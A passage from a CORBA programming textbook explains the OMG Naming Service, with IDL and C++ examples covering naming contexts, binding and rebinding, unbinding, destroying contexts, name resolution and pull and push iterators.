confusion with our separator convention, we do not use id or kind fields that contain 
parentheses themselves. 
 
Although name components can contain non-printing characters, we recommend that you 
restrict your names to the same set of characters you would use for file names. This 
practice will make life easier if you want to use command-line tools or graphical user 
interfaces to manipulate the naming graph. 

Table 18.3. Table representation of the name user(dir)/u1(dir)/fred(person). 
Index id kind 

0 user dir 
1 u1 dir 
2 fred person 

18.5.3 Purpose of the kind Field 

The kind field of name components can be used to describe the id field in some way. 
For example, you could use kind values of person, factory, or GIF_Image to 
classify the object advertised under a name. This idea is similar to that of file name 
extensions; for example, we frequently use file names such as file.cc and file.o to 
make the contents of a file obvious by its name. 
 
Many people (including the authors) believe that the distinction between id and kind 
for name components is a bad idea. For one thing, the analogy with file names does not 
necessarily hold for object names. Second, even if name compo- nents were single strings, 
we could still use the idea of a name extension by using only the id field and "." as a 
separator character. As it stands, the Naming Service specification only complicates the 
type of name components without providing any additional functionality. 
 
However, we must live with this wrinkle of the Naming Service. For your applications, 
you can choose to ignore the kind fields and always set them to the empty string. 

18.5.4 Non-Support for Wide Strings 

If you look at the IDL definition of names on page 775, you will find another wrinkle. 
Note that the IDL contains a type definition for Istring. An Istring is simply an 
alias for string, so why was this definition added? The reason is historical. At the time 
the Naming Service was defined, IDL did not provide a wide character type, but it was 
known that wide characters would be supported in a future version. The Istring 
definition was added in anticipation of this change. The idea was that by redefining 
Istring to wstring, the OMG could upgrade the Naming Service to support names 
containing wide characters. 
 
Unfortunately, this idea does not work. Consider what would happen if the OMG 
changed Istring to be an alias for wstring now. We would end up with different 
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Naming Services coexisting in CORBA. In some services, Istring would be an alias 
for string, and in others Istring would be an alias for wstring. We would have 
two different types with the same repository ID. In one service, the repository ID 
       
    IDL:omg.org/CosNaming/Istring:1.0 
 
      
would denote the type string, whereas in another, the same repository ID would 
denote the type wstring. 
 
We cannot permit this situation because CORBA intimately relies on repository IDs to 
provide type safety. CORBA makes the assumption that the same repository ID denotes 
the same type everywhere. If a single repository ID represented different types for 
different applications in a CORBA system, all type safety and interoperability would be 
lost. For example, if a client that takes Istring as type string were to send a name 
component to a server that takes Istring as type wstring, the server's marshaling 
code would misinterpret 8-bit ISO Latin-1 characters as wide characters. Not only would 
this lead to incorrect interpretation of the bit pattern of the name component, but it could 
also cause the server to lose synchronization with IIOP message boundaries. In a poor-
quality implementation, it could crash the server. 
 
At the time of this writing, there are no plans to upgrade the Naming Service to support 
wide character names. If such an upgrade is provided in the future, a simple redefinition 
of Istring to wstring will not work. Instead, it will be necessary to add a new 
module containing new interfaces that support wide character names. 
 
Upgrading the Naming Service for wide character support is just one example of the 
more general topic of versioning, a topic we briefly touch on in Section 4.19.3. 

18.5.5 Name Equivalence 

On page 773, we state that name components must be unique within their parent context. 
To determine uniqueness, the Naming Service compares both the id and the kind fields. 
This means that the same context can contain two name components that have the same 
id value and differ only in the values of their kind fields. Similarly, two name 
components are considered different if their kind fields are identical but their id fields 
are different. Formally, name equivalence is defined as follows. 
 
Two name components are equivalent only if they have identical id and kind fields. 
Two names are equivalent only if all their components are equivalent. 
For example, the following four single-component names are different and can all coexist 
within the same parent context: 
       
     Guinness(Beer) 
     Budweiser(Beer) 
     Chair(Person) 
     Chair(Furniture) 
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18.5.6 Absolute Versus Relative Names 

It is important to realize that the OMG Naming Service does not support the concept of 
an absolute name because a naming graph does not have a distinguished root context. (As 
you saw in Figure 18.1, a naming graph can have several root contexts.) This means 
that a name makes sense only when interpreted relative to a starting context. 
Interpretation of the name begins at this starting context, and each name component 
identifies a binding within that context, either to the next context down the line or to a 
binding that points at an application object. This means that all components of a name 
except the final component must identify bindings to context objects. The final 
component can identify either a context or an application object. (This is similar to file 
names, in which each pathname component except for the final one must name a 
directory.) 

18.5.7 Name Resolution 

Interpretation of a name relative to a context is called resolving the name. Name 
resolution begins at a starting context. The Naming Service searches the starting context 
for a binding that matches the first component of the name. If such a binding exists, the 
binding identifies an IOR to another context or application object. If the name has further 
components, the IOR identified by the first component points to another context, which is 
then searched for the second component, and so on. This resolution process continues 
until all name components are resolved and yields the object reference identified by the 
final component of the name. For an arbitrary operation op invoked on context cxt, 
using a name with components c1, c2, ..., cn, we can recursively define name resolution as 
follows: 
       
     cxt -> op([c1, c2, ..., cn]) = cxt -> resolve([c1]) -> op([c2, ..., 
cn]) 
 
      
This looks complicated, but it just describes the process for identifying a file or directory 
via its pathname: we use each component of the pathname to walk the directory hierarchy 
until all names have been exhausted. The operation op is applied to the file or directory 
identified by the final component. 

18.6 Naming Context IDL 

Most of the functionality of the Naming Service is provided by the NamingContext 
interface. This interface defines a number of exceptions and operations. Instead of 
presenting the full interface in a single definition, we show it incrementally. First, we 
discuss the exceptions defined by the interface, and then we cover the various operations. 

18.6.1 Naming Service Exceptions 
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The NamingContext interface defines a number of exceptions that can be raised by 
the various operations: 
       
module CosNaming { 
    // ... 
    interface NamingContext { 
        enum  NotFoundReason { 
                  missing_node, not_context, not_object 
              }; 
        exception NotFound { 
            NotFoundReason why; 
            Name      rest_of_name; 
        }; 
        exception CannotProceed { 
            NamingContext  cxt; 
            Name      rest_of_name; 
        }; 
        exception InvalidName {}; 
        exception AlreadyBound {}; 
        exception NotEmpty {}; 
        // ... 
    }; 
    // ... 
}; 
 
      

NotFound Exception 

This exception is raised by operations that require a name for lookup if the name does not 
resolve to an existing binding. The NotFound exception contains two data members. 
why 
The why member provides more information as to why a lookup failed. 
missing_node 
One of the components of a name specifies a binding that does not exist. 
not_context 
One of the components of a name (other than the final component) specifies a binding to 
an application object instead of to a context. 
not_object 
One of the components of a name specifies an object reference that dangles (points to a 
non-existent object). 
rest_of_name 
The rest_of_name member contains the trailing part of the name that could not be 
resolved. 

CannotProceed Exception 

This exception indicates that the implementation has given up for some reason. Typically, 
this happens when a name binding denotes a context in a different Naming Service 
implemented in a remote process, but that context could not be reached during name 
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resolution (for example, because the network is down). The CannotProceed 
exception contains two data members. 
cxt 
This is the object reference to the context containing the first unresolved binding. 
rest_of_name 
This member contains the unresolved remainder of the name. 

InvalidName Exception 

This exception is raised if you attempt to resolve an empty name (a Name sequence with 
length zero, containing no components). If your Naming Service implementation restricts 
the permissible characters for name components, it raises this exception if you attempt to 
create a binding that contains an illegal character. 

AlreadyBound Exception 

This exception is raised if you attempt to create a binding that already exists. (Remember, 
name bindings must be unique within their parent context.) 

NotEmpty Exception 

This exception is raised if you attempt to destroy a context that still contains bindings. 
(As you will see in Section 18.6.7, a context must be empty before you can destroy it.) 

18.6.2 Context Life Cycle Operations 

The NamingContext interface contains three operations that allow you to create and 
destroy naming contexts: 
       
interface NamingContext { 
    // ... 
    NamingContext  new_context(); 
    NamingContext  bind_new_context(in Name n) raises( 
                      NotFound, CannotProceed, 
                      InvalidName, AlreadyBound 
                   ); 
    void           destroy() raises(NotEmpty); 
    // ... 
}; 
 
      
Both new_context and bind_new_context are factory operations that create a 
new naming context. Note that to create a context, you must have a reference to a naming 
context because the NamingContext interface also acts as the factory for new contexts. 
Section 18.6.3 discusses how to obtain a reference to an initial naming context. 

new_context 
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This operation creates a new, empty naming context. Note that the operation does not 
accept an in parameter that could be used to give a name to the new context. This means 
that the new context is not bound into the naming graph by any name and therefore is 
orphaned. You can bind the new context into the graph later by calling the bind 
operation (see Section 18.6.4). 
 
The reason for providing a factory operation that creates orphaned contexts is that you 
may want to create a binding in one Naming Service that denotes a context in a different 
Naming Service (one that is implemented by a different process, possibly on a remote 
machine). To do this, you first create an orphaned context in one service and then add a 
binding to the second service in a separate step. 
 
Because bindings are provided by object references, a single connected naming graph can 
span servers on different machines. Such distribution of a single logical service over 
multiple physical servers is known as federation. We discuss federated naming in 
Section 18.13. 

bind_new_context 

This factory operation creates a new context and binds the new context under name n into 
the context on which bind_new_context was invoked. Typically, you will use this 
operation instead of new_context because it both creates and names a context in a 
single step. bind_new_context is analogous to the UNIX mkdir command. 
 
bind_new_context can raise some of the exceptions discussed in Section 18.6.1. 
For example, an AlreadyBound exception indicates that the binding passed to 
bind_new_context is already in use, and NotFound indicates that the name n could 
not be resolved to a target context on which to invoke the bind_new_context 
operation. For the remainder of this chapter, we do not explicitly discuss the exceptions 
raised by operations. In all cases, they have the semantics explained in Section 18.6.1. 

destroy 

The destroy operation destroys a context. You can destroy a context only if it is empty 
(contains no bindings). The destroy operation, however, is not analogous to the UNIX 
rmdir command: rmdir both destroys a directory and removes its name from the parent 
directory. In contrast, destroy only destroys a context and does not remove any bindings 
to the destroyed context that may still exist in parent contexts. If you destroy a context 
that is bound into a parent context under some name, you must also invoke an unbind 
operation (see Section 18.6.7) on the parent context; otherwise, you will leave a 
dangling binding behind. You will see source code examples of how to correctly destroy 
contexts in Section 18.6.8. 

18.6.3 Obtaining an Initial Naming Context 
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Before we further explore the NamingContext interface, let us look at how a client 
obtains a reference to an initial naming context. In Section 9.6 you saw the 
resolve_initial_references operation. resolve_initial_references 
not only returns a reference to the Root POA but also serves as the bootstrap mechanism 
for a number of other objects and services, including the Naming Service. Here is the 
relevant PIDL: 
       
module CORBA { // PIDL 
    // ... 
    interface ORB { 
        typedef string ObjectId; 
        typedef sequence<ObjectId> ObjectIdList; 
 
        exception InvalidName {}; 
 
        Object     resolve_initial_references(in ObjectId id) 
                       raises(InvalidName); 
        ObjectIdList  list_initial_services(); 
        // ... 
    }; 
    // ... 
}; 
 
      
resolve_initial_references allows you to portably obtain references that are 
crucial for bootstrapping your client or server. The id parameter to the call determines 
which particular reference is returned. The OMG standardizes the set of well-known 
object identifiers. Currently, they are RootPOA, POACurrent, 
InterfaceRepository, NameService, TradingService, 
SecurityCurrent, and TransactionCurrent. This list is extended from time to 
time as new features are added to CORBA. 
 
resolve_initial_references can return a nil reference. This can happen, for 
example, if someone has misconfigured the ORB or if the ORB attempts to obtain the 
initial reference from a remote location and fails. If you pass an unknown object 
identifier to the operation, it raises InvalidName. If the call fails for some other reason, 
the operation raises a system exception. 
 
list_initial_services simply returns the list of object identifiers configured for 
your ORB. Note that the returned list includes only those object identifiers for which 
your ORB actually provides an implementation. For example, an ORB that does not have 
a security implementation will not return SecurityCurrent. Also, your ORB may 
add additional object identifiers, not specified by the OMG, for proprietary extensions. 
 
If you call resolve_initial_references with an object identifier of 
NameService, the operation returns a reference to an object of type 
NamingContext. The returned context is the configured initial context of the Naming 
Service for the local ORB. You must narrow the returned reference before you can use it: 
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// Initialize the ORB. 
CORBA::ORB_var orb = CORBA::ORB_init(argc, argv); 
 
// Get reference to initial naming context. 
CORBA::Object_var obj; 
obj = orb->resolve_initial_references("NameService"); 
 
// Narrow 
CosNaming::NamingContext_var inc;  // Initial naming context 
inc = CosNaming::NamingContext::_narrow(obj); 
assert(!CORBA::is_nil(inc)); 
 
      
Note that the assertion at the end of this code fragment is justified. You will never receive 
a nil reference from resolve_initial_references (if the call fails, it raises an 
exception). If _narrow fails (in the sense that it cannot determine the type of reference), 
it also raises an exception. This means that the only way the assertion could fail is if the 
configured reference for the Naming Service were of the wrong type. That would be a 
serious ORB configuration error. 
 
Exactly which reference (to what exact context) is returned by the call is an ORB 
configuration issue and is not further specified by CORBA. You should consult your 
ORB documentation to find out how resolve_initial_references decides 
which IOR to return. With some ORBs, you can edit a configuration file to change the 
initial reference, whereas other ORBs hard-wire the initial reference into the run time or 
rely on the implementation repository to store this information.[4]  

[4] The revised Naming Service specification, under review at the time of this writing, will 
standardize at least some of these configuration issues. 

18.6.4 Creating a Binding 

The NamingContext interface contains two operations to create bindings: one for 
ordinary objects and one for contexts. 
       
interface NamingContext { 
    // ... 
    void  bind(in Name n, in Object obj) raises( 
              NotFound, CannotProceed, InvalidName, AlreadyBound 
          ); 
    void  bind_context(in Name n, in NamingContext nc) raises( 
              NotFound, CannotProceed, InvalidName, AlreadyBound 
         ); 
    // ... 
}; 
 
      

bind 
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The bind operation adds the name n to the context on which bind is invoked. The new 
name denotes the passed reference obj. This is the operation you must use if you want to 
give a name to one of your objects. Note that you can bind a nil reference even though it 
is rather meaningless. We suggest that you not do this. 

bind_context 

The bind_context operation works like bind but is used to bind contexts instead of 
normal application objects. The parameter nc has the type NamingContext, and that 
makes it impossible to pass something that is not a naming context. Attempts to bind a nil 
reference as a context raise a BAD_PARAM exception. 
 
If you use bind (instead of bind_context) to bind a context object, the bind 
operation will work, but the binding will behave like an ordinary binding to an 
application object. If you incorrectly bind a context with bind instead of 
bind_context, the bound context will not participate in name resolution because as 
far as the Naming Service is concerned, the context will be treated like an application 
object. 

18.6.5 Creating a Naming Graph 

When you create or navigate a naming graph, you can either navigate the structure from 
node to node explicitly, or you can use names relative to a root. This is analogous to the 
following sequences of UNIX commands, each of which creates three directories: 
       
mkdir app2; cd app2; mkdir devices; cd devices; mkdir cd 
 
      
This command sequence creates each directory and then changes to the new directory 
before creating the next directory along the path. The alternative is 
       
mkdir app2; mkdir app2/devices; mkdir app2/devices/cd 
 
      
Here, we use pathnames relative to the starting directory to create all three directories. 
Whether you use the first or the second style is largely a matter of taste. We show the 
equivalent of both approaches in this section. 

Creating a Naming Graph Relative to Newly Created Contexts 

Let us examine the source code for creating a subsection of the naming graph we saw 
earlier (see Figure 18.1). We assume that the initial naming context is empty when we 
start and that we want to create the complete structure shown in Figure 18.2. As in a 
file system, we create the graph from the root toward the leaves, so the first step is to 
create the app2 context. Note that we omit exception handling in these examples: 
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Figure 18.2 Small naming graph. 

 
        
CosNaming::NamingContext_var inc = ...; // Get initial context 
 
CosNaming::NamingContext_var app2; 
app2 = inc->new_context();              // Create orphaned context 
 
CosNaming::Name name;                   // Initialize name 
name.length(1); 
name[0].id = CORBA::string_dup("app2"); 
name[0].kind = CORBA::string_dup(""); 
 
inc->bind_context(name, app2);     // Bind new context 
 
       

Executing this code creates the graph shown in Figure 18.3. The preceding code first 
creates the new context and then adds a binding for it to the root context. Instead, we 
could have used bind_new_context to achieve the graph in Figure 18.3 in a 
single step: 

Figure 18.3 Graph after creating the app2 context. 

 
        
CosNaming::NamingContext_var inc = ...; // Get initial context 
 
CosNaming::Name name;                   // Initialize name 
name.length(1); 
name[0].id = CORBA::string_dup("app2"); // kind is empty string 



IT-SC book: Advanced CORBA® Programming with C++ 

 683

 
CosNaming::NamingContext_var app2; 
app2 = inc->bind_new_context(name);   // Create and bind context 
 
       
Note that in this example, not only do we create and name the context in a single step, but 
we also omit the explicit initialization of the kind member of the name component. This 
works because nested strings are initialized to the empty string instead of null.[5]  

[5] At least with CORBA 2.3. With CORBA 2.2 and earlier, you must initialize the kind field. 

The next step is to create the devices and collections contexts within the app2 
context. Assuming that we continue the preceding code, this can be written as follows: 
        
name[0].id = CORBA::string_dup("devices"); 
CosNaming::NamingContext_var devices; 
devices = app2->bind_new_context(name); 
 
name[0].id = CORBA::string_dup("collections"); 
CosNaming::NamingContext_var collections; 
collections = app2->bind_new_context(name); 
 
       
The code simply uses the app2 context we created before to create and bind the two new 
contexts by calling bind_new_context, creating the graph in Figure 18.4. 

Figure 18.4 Graph after creating the devices and collections contexts. 

 
The next step is to create the cd context and to establish the correct bindings. We create 
and bind the cd context to the devices context and then add the other two bindings 
using bind_context: 
        
name[0].id = CORBA::string_dup("cd");    // Make cd context 
CosNaming::NamingContext_var cd; 
cd = devices->bind_new_context(name);    // devices -> cd 
 
collections->bind_context(name, cd);     // collections -> cd 
 
name[0].id = CORBA::string_dup("app2"); 
cd->bind_context(name, app2);            // cd -> app2 
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This code creates the graph shown in Figure 18.5. 

Figure 18.5 Graph after adding the cd context. 

 
All that remains is to add the binding for dev1 to the devices context. We assume 
here that dev1 is actually an object reference to our CCS::Controller object: 
        
CCS::Controller_var ctrl = ...;       // Get controller ref 
 
name[0].id = CORBA::string_dup("dev1"); 
devices->bind(name, ctrl);            // Add controller to graph 
 
       

This completes creation of the entire graph shown in Figure 18.2. 

Creating a Naming Graph from an Initial Context 

The preceding example used names with exactly one name component to create the graph. 
At each step, we used a context created in the preceding step to create the next binding. 
Alternatively, we could use names relative to the root context: 
        
CosNaming::NamingContext_var inc = ...;     // Get initial context 
 
CosNaming::Name name; 
name.length(1); 
name[0].id = CORBA::string_dup("app2");     // kind is empty 
 
CosNaming::NamingContext_var app2; 
app2 = inc->bind_new_context(name);         // inc -> app2 
 
name.length(2); 
name[1].id = CORBA::string_dup("collections"); 
CosNaming::NamingContext_var collections; 
collections = inc->bind_new_context(name);  // app2 -> collections 
 
name[1].id = CORBA::string_dup("devices"); 
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CosNaming::NamingContext_var devices; 
devices = inc->bind_new_context(name);     // app2 -> devices 
 
name.length(3); 
name[2].id = CORBA::string_dup("cd"); 
CosNaming::NamingContext_var cd; 
cd = inc->bind_new_context(name);          // devices -> cd 
 
name.length(4); 
name[3].id = CORBA::string_dup("app2"); 
inc->bind_context(name, app2);             // cd -> app2 
 
CCS::Controller_var ctrl = ...; 
name.length(3); 
name[2].id = CORBA::string_dup("dev1"); 
inc->bind(name, ctrl);                     // devices -> dev1 
name[1].id = CORBA::string_dup("collections"); 
name[2].id = CORBA::string_dup("cd"); 
inc->bind_context(name, cd);               // collections -> cd 
 
       

This code also creates the graph shown in Figure 18.2 but uses names relative to the 
initial naming context. Note that at each step, we assign only to those name components 
that must change for the next step instead of redundantly initializing all name 
components. (Of course, this makes the order in which we do things significant.) 
Also note that all calls to bind_new_context assign the return value to a _var 
reference even if the return value is not used again. This technique avoids leaking 
references. 

18.6.6 Rebinding 

If you attempt to create a binding that already exists, the operation fails with an 
AlreadyBound exception. For example: 
       
CORBA::Object_var obj = ...;             // Get some reference 
CosNaming::NamingContext_var cxt = ...;  // Get some context 
 
CosNaming::Name name;                    // Initialize name 
name.length(1); 
name[0].id = CORBA::string_dup("Fred"); 
 
cxt->bind(name, obj);                    // Advertise as "Fred" 
 
bool got_AlreadyBound = false; 
try { 
    cxt->bind(name, obj);                // Try same name again 
} 
catch (const CosNaming::NamingContext::AlreadyBound &) { 
    cout < "Got AlreadyBound, as expected" < endl; 
    got_AlreadyBound = true; 
} 
 
assert(got_AlreadyBound);                // Must pass this 
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This code calls bind twice with the name Fred, but only the first call succeeds; the 
second call raises AlreadyBound. 
The NamingContext interface provides two operations you can use to force creation 
of a new binding whether or not that binding is already in use: 
       
interface NamingContext { 
    // ... 
    void  rebind(in Name n, in Object obj) raises( 
              NotFound, CannotProceed, InvalidName 
          ); 
    void  rebind_context(in Name n, in NamingContext nc) raises( 
              NotFound, CannotProceed, InvalidName 
          ); 
    // ... 
}; 
 
      
The rebind and rebind_context operations behave like bind and 
bind_context, but they create the requested binding whether or not it is already in 
use. If a binding with the specified name already exists, it is simply dropped. We can 
rewrite the code using rebind so that the second attempt to create a binding succeeds: 
       
CORBA::Object_var obj = ...;               // Get some reference 
CosNaming::NamingContext_var cxt = ...;    // Get some context 
 
CosNaming::Name name;                      // Initialize name 
name.length(1); 
name[0].id = CORBA::string_dup("Fred"); 
 
cxt->rebind(name, obj);         // Advertise as "Fred" 
cxt->rebind(name, obj);         // Fine, no exception here 
 
      
The rebind operation is useful if you want to ensure that a binding is created whether 
or not the binding already exists. Typically, this happens on server start-up, when the 
server wants to advertise an initial object and ensure that the latest, current reference to 
the object appears in the naming graph. 
 
Note that you should exercise some caution, particularly when calling 
rebind_context, because it can lead to orphaned contexts: 
       
CosNaming::NamingContext_var cxt = ...;   // Get some context 
 
CosNaming::Name name;                     // Initialize name 
name.length(1); 
name[0].id = CORBA::string_dup("Fred"); 
 
CosNaming::NamingContext_var nc1; 
nc1 = cxt->bind_new_context(name);        // Create and bind nc1 
// ... 
 
CosNaming::NamingContext_var nc2; 
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nc2 = cxt->new_context();                 // Make another context 
cxt->rebind_context(name, nc2);           // Oops, nc1 is orphaned! 
 
      
Here, the call to rebind_context uses the same name Fred to bind nc2 and 
replaces the existing binding to nc1, so nc1 ends up orphaned. Note that this problem is 
not limited to rebind_context. If you call rebind to advertise one of your objects but 
with a name that currently binds a context, you will correctly advertise your object but 
orphan the context in the process. 
 
Inadvertently orphaning a context in this way means that you cannot easily find the 
context again because you can no longer navigate to it. Most vendors offer administrative 
tools that allow you to recover the object references to orphaned contexts and to 
reconnect them into the graph. (This is similar to the UNIX fsck command, which 
reconnects lost inodes to the lost+found directory after a crash.) However, such tools 
are of limited utility because they only allow you to find orphaned contexts but cannot 
tell you the names the contexts had when they were orphaned. 
 
In general, you should have no reason to call rebind_context (this operation was 
mainly added for symmetry with bind).[6] We suggest that you therefore restrict yourself 
to calling rebind and use it only to ensure that the correct reference to an initial 
application object is always advertised on start-up of a server. 

[6] In our opinion, it would have been better not to provide rebind_context at all because the 
danger of creating orphaned contexts outweighs the usefulness of the operation. The revised 
Naming Service will most likely raise a NotFound exception if a call to rebind_context would 
change the type of an existing binding from ncontext to nobject or vice versa. This 
eliminates some errors, but the operation remains dangerous. 

18.6.7 Removing Bindings 

The unbind operation removes a binding from the graph: 
       
interface NamingContext { 
    // ... 
    void  unbind(in Name n) raises( 
              NotFound, CannotProceed, InvalidName 
          ); 
    // ... 
}; 
 
      
unbind removes a binding whether the binding denotes a context or an application 
object. Like rebind and rebind_context, the unbind operation has the potential 
to create orphaned contexts. Here is a code example that removes the bindings 
collections and dev1 from the graph shown in Figure 18.2: 
       
CosNaming::NamingContext_var inc = ...;     // Get initial context 
 
CosNaming::Name name; 
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name.length(2); 
name[0].id = CORBA::string_dup("app2"); 
name[1].id = CORBA::string_dup("collections"); 
// unbind app2/collections 
inc->unbind(name); 
 
name.length(3); 
name[1].id = CORBA::string_dup("devices"); 
name[2].id = CORBA::string_dup("dev1"); 
// unbind app2/devices/dev1 
inc->unbind(name); 
 
      

This code creates the graph shown in Figure 18.6. Note that removal of the two 
bindings does not affect the bound objects. The controller object previously bound under 
the name dev1 still exists (presumably, we still hold a reference to that object elsewhere). 
Similarly, the context previously named collections still exists but is now orphaned 
(we can no longer navigate to it via a name). 

Figure 18.6 Graph from Figure 18.2 after unbinding collections and dev1. 

 

18.6.8 Destroying Contexts Correctly 

The Naming Service provides the bind_new_context operation to both create and 
bind a naming context in a single step. However, the service does not provide an inverse 
operation that would both destroy and unbind a context. To correctly destroy a context, 
you must both destroy it and remove its binding. If you only call unbind, you will leave 
an orphaned context, and if you only call destroy, you will leave a dangling binding. 
Figure 18.7 shows a graph before and after removal of the cd context. 

Figure 18.7 Graph from Figure 18.2 after removal of the cd context. 
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Following is a code fragment that correctly removes the cd context. It destroys the 
context itself and also removes all bindings to the context (we assume that the variable 
cd holds the reference to the cd context). 
       
CosNaming::NamingContext_var inc = ...;     // Get initial context 
CosNaming::NamingContext_var cd = ...;      // cd context 
CosNaming::Name name; 
 
// Remove cd -> app2 
name.length(1); 
name[0].id = CORBA::string_dup("app2"); 
 
cd->unbind(name); 
// cd is now empty, destroy it. 
cd->destroy(); 
 
// Remove devices -> cd 
name.length(3); 
name[1].id = CORBA::string_dup("devices"); 
name[2].id = CORBA::string_dup("cd"); 
inc->unbind(name); 
 
// Remove collections -> cd 
name[1].id = CORBA::string_dup("collections"); 
inc->unbind(name); 
 
      
Note that this code first removes the app2 binding in the cd context before it calls 
destroy. This is because destroy raises a NotEmpty exception if the context still 
contains bindings. 
To avoid leaving dangling bindings behind, the code correctly removes the two cd 
bindings in devices and collections. You can first destroy the context and then 
remove the bindings from its parents, or you can first remove the bindings in the parents 
and then destroy the context. The order does not matter as long as you call both unbind 
and destroy. 
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18.6.9 Resolving Names 

Until now, we have covered operations that allow you to create and destroy a naming 
graph. These operations are typically used by servers to advertise references in the graph. 
In contrast, application clients usually are interested only in lookup, to locate references 
to application objects. 
The Naming Service provides the resolve operation, which returns the object 
reference stored under a name: 
       
interface NamingContext { 
    // ... 
    Object resolve(in Name n) raises( 
               NotFound, CannotProceed, InvalidName 
           ); 
    // ... 
}; 
 
      
resolve returns the reference stored under the name n whether the name denotes a 
context or an application object. The return type is Object because the Naming Service 
must be able to store references of arbitrary type. This means that you must narrow the 
returned reference to its correct type before you can use it to invoke operations. The 
following code retrieves and narrows the controller reference stored under the name 
dev1 using a name relative to the initial naming context: 
       
CosNaming::NamingContext_var inc = ...;     // Get initial context 
 
// Initialize name 
CosNaming::Name name; 
name.length(3); 
name[0].id = CORBA::string_dup("app2"); 
name[1].id = CORBA::string_dup("devices"); 
name[2].id = CORBA::string_dup("dev1"); 
 
// Try to resolve 
CORBA::Object_var obj; 
try { 
    obj = inc->resolve(name); 
} 
catch (const CosNaming::NamingContext::NotFound &) { 
    cerr << "No name for controller" << endl; 
    throw 0; 
} 
catch (const CORBA::Exception & e) { 
       cerr << "Resolve failed: " << e << endl; 
       throw 0; 
} 
if (CORBA::is_nil(obj)) { 
    cerr << "Nil reference for controller!" << endl; 
    throw 0; 
} 
// Narrow to CCS::Controller 
CCS::Controller_var ctrl; 
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try { 
    ctrl = CCS::Controller::_narrow(obj); 
} 
catch (const CORBA::Exception & e) { 
    cerr < "Cannot narrow controller reference: " < e < endl; 
    throw 0; 
} 
if (CORBA::is_nil(ctrl)) { 
    cerr << "Controller reference has wrong type" << endl; 
    throw 0; 
} 
 
// Controller reference is ready to use now... 
 
      
We show the code with full error handling here. If anything unexpected happens, we print 
an error message and then throw zero. This technique relies on a catch handler higher up 
in the call chain to terminate the program cleanly or otherwise take corrective action. 
 
Unfortunately, the specification for the Naming Service does not prohibit binding of a nil 
reference. This means that resolve can return nil without raising an exception. 
 
The preceding code explicitly tests whether resolve returns a nil reference. This 
technique allows us to distinguish an advertised nil reference from one that is non-nil and 
fails to narrow to CCS::Controller. We could have omitted the first test for nil, in 
which case the code would detect a nil reference following the call to _narrow (but 
would produce an incorrect error message). 

18.7 Iterators 

To have a complete interface to the Naming Service, it must be possible to list the 
bindings in a context. The Naming Service uses iterators for that purpose. 

18.7.1 The Need for Iterators 

Naming contexts provide a list operation that allows you to retrieve the bindings 
stored in a context (list is analogous to the UNIX ls command). Before we discuss 
how list is defined, we first examine a more general problem. This problem is not 
specific to CORBA but occurs in any synchronous RPC system. Here is the problem 
statement. 
 
Given a remote collection of items, in which the number of items in the collection is 
potentially unlimited, how can we list the contents of the collection? 
 
This question is deceptively simple, but it raises a number of important design issues. To 
illustrate this, let us look at a naive version of a list operation on a collection of strings: 
       
typedef sequence<string> StringList; 
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interface StringCollection { 
    StringList list();   // Naive list operation 
    // ... 
}; 
 
      
If we invoke the list operation on a string collection, we simply receive all the strings 
in the collection as a sequence. 
 
At first glance, our definition of list looks sensible, but it contains a problem: what if 
there is a very large number of strings in the collection? The entire sequence of strings 
must be buffered in memory during call dispatch, so eventually the number of strings will 
grow large enough for the operation to fail because of memory limitations. 
 
The general solution to this problem is to create an iterator object for the client. An 
iterator object allows the client to retrieve results incrementally. Iterators have one of two 
styles of interface: a pull iterator or a push iterator. 

18.7.2 Pull Iterators 

Here is a simple version of a pull iterator: 
       
typedef sequence<string> StringList; 
 
interface StringIterator { 
    StringList next(); 
    void    destroy(); 
}; 
 
interface StringCollection { 
    StringList list(out StringIterator it);  // Better 
    // ... 
}; 
 
      
To read all the strings in the collection, we call the list operation on a 
StringCollection object. As with the naive version, the operation returns a 
sequence of strings as the return value. 
 
If all the strings in the collection can fit onto the sequence without causing memory 
problems, the return value contains the complete collection. In addition, the out 
parameter it is nil. 
 
If not all the strings in the collection can fit onto the sequence, the return value contains 
the first batch of strings. In addition, the operation creates an iterator object and returns a 
reference to the iterator in the parameter it. 
 
The client uses the iterator object to incrementally retrieve the remaining strings by 
repeatedly calling next on the iterator. Each call to next returns the next batch of 
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strings—for example, 100 strings at a time. When the collection is exhausted, next 
returns an empty sequence to indicate end-of-collection. 
 
This approach solves the problem. If the collection is short enough, all its contents are 
returned by the initial call to list. If the collection is too large, the server creates an 
iterator object on behalf of the client, and the client uses the iterator object to retrieve the 
results. Between calls to next, the iterator object remembers the current reading position 
in the collection, so it knows which batch of strings to return next. 
 
The destroy operation of the iterator allows the client to inform the server that it no 
longer wants to use the iterator. The client can call destroy before it has retrieved all of 
the collection. 
 
Here is example code that shows how a client can iterate over a string collection: 
       
StringCollection_var sc = ...;             // Get reference... 
 
StringList_var sl; 
StringIterator_var it; 
sl = sc->list(it);                         // Get first batch 
 
CORBA::ULong i; 
for (i = 0; i < sl->length(); i++)       // Show first batch 
    cout < sl[i] < endl; 
 
if (!CORBA::is_nil(it)) {                   // More to come? 
    do { 
       sl = it->next();          // Get next batch 
       for (i = 0; i < sl->length(); i++) // Show it 
           cout < sl[i] < endl; 
    } while (sl->length() != 0); 
    it->destroy();                          // Clean up 
} 
 
      
There are many variations on the iterator IDL we just discussed. (As you will see in 
Section 18.7.4, iterators for the Naming Service add some additional features.) The 
general style of interaction is that of a pull iterator because the receiver of the collection 
(the client) "pulls" the contents from the sender (the server) by invoking an operation. 

18.7.3 Push Iterators 

For push iterators, the client passes an iterator reference to the server, and the server 
invokes an operation on the iterator to deliver the contents of the collection. In other 
words, client and server roles are reversed; the receiver implements the iterator, and the 
sender of the collection "pushes" the collection into the receiver. Here is how we could 
define iteration for our string collection using a push model: 
       
typedef sequence<string> StringList; 
interface StringIterator { 
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    void  next(in StringList sl); 
}; 
interface StringCollection { 
    StringList list(in StringIterator it); // Push iterator 
    // ... 
}; 
 
      
The client implements a StringIterator object and passes a reference to this 
iterator to the server in the initial call to list. Again, the return value from list is a 
sequence of strings. 
 
If all the strings in the collection can fit onto the sequence without causing memory 
problems, the return value contains the complete collection. In addition, the server 
indicates that all of the sequence was delivered in the first call by invoking the next 
operation on the iterator, but it passes an empty sequence as the parameter sl to indicate 
end-of-collection. 
 
If not all the strings in the collection can fit onto the sequence, the return value contains 
the first batch of strings. The server delivers the remainder of the collection by invoking 
next on the iterator to deliver the next batch. When all of the collection has been sent 
this way, the server calls next one more time with an empty sequence to indicate end-
of-collection. 
 
Push iterators are an application of the more general Callback pattern (see Section 
20.3). However, they are rarely used because they force the client to also act as a server. 
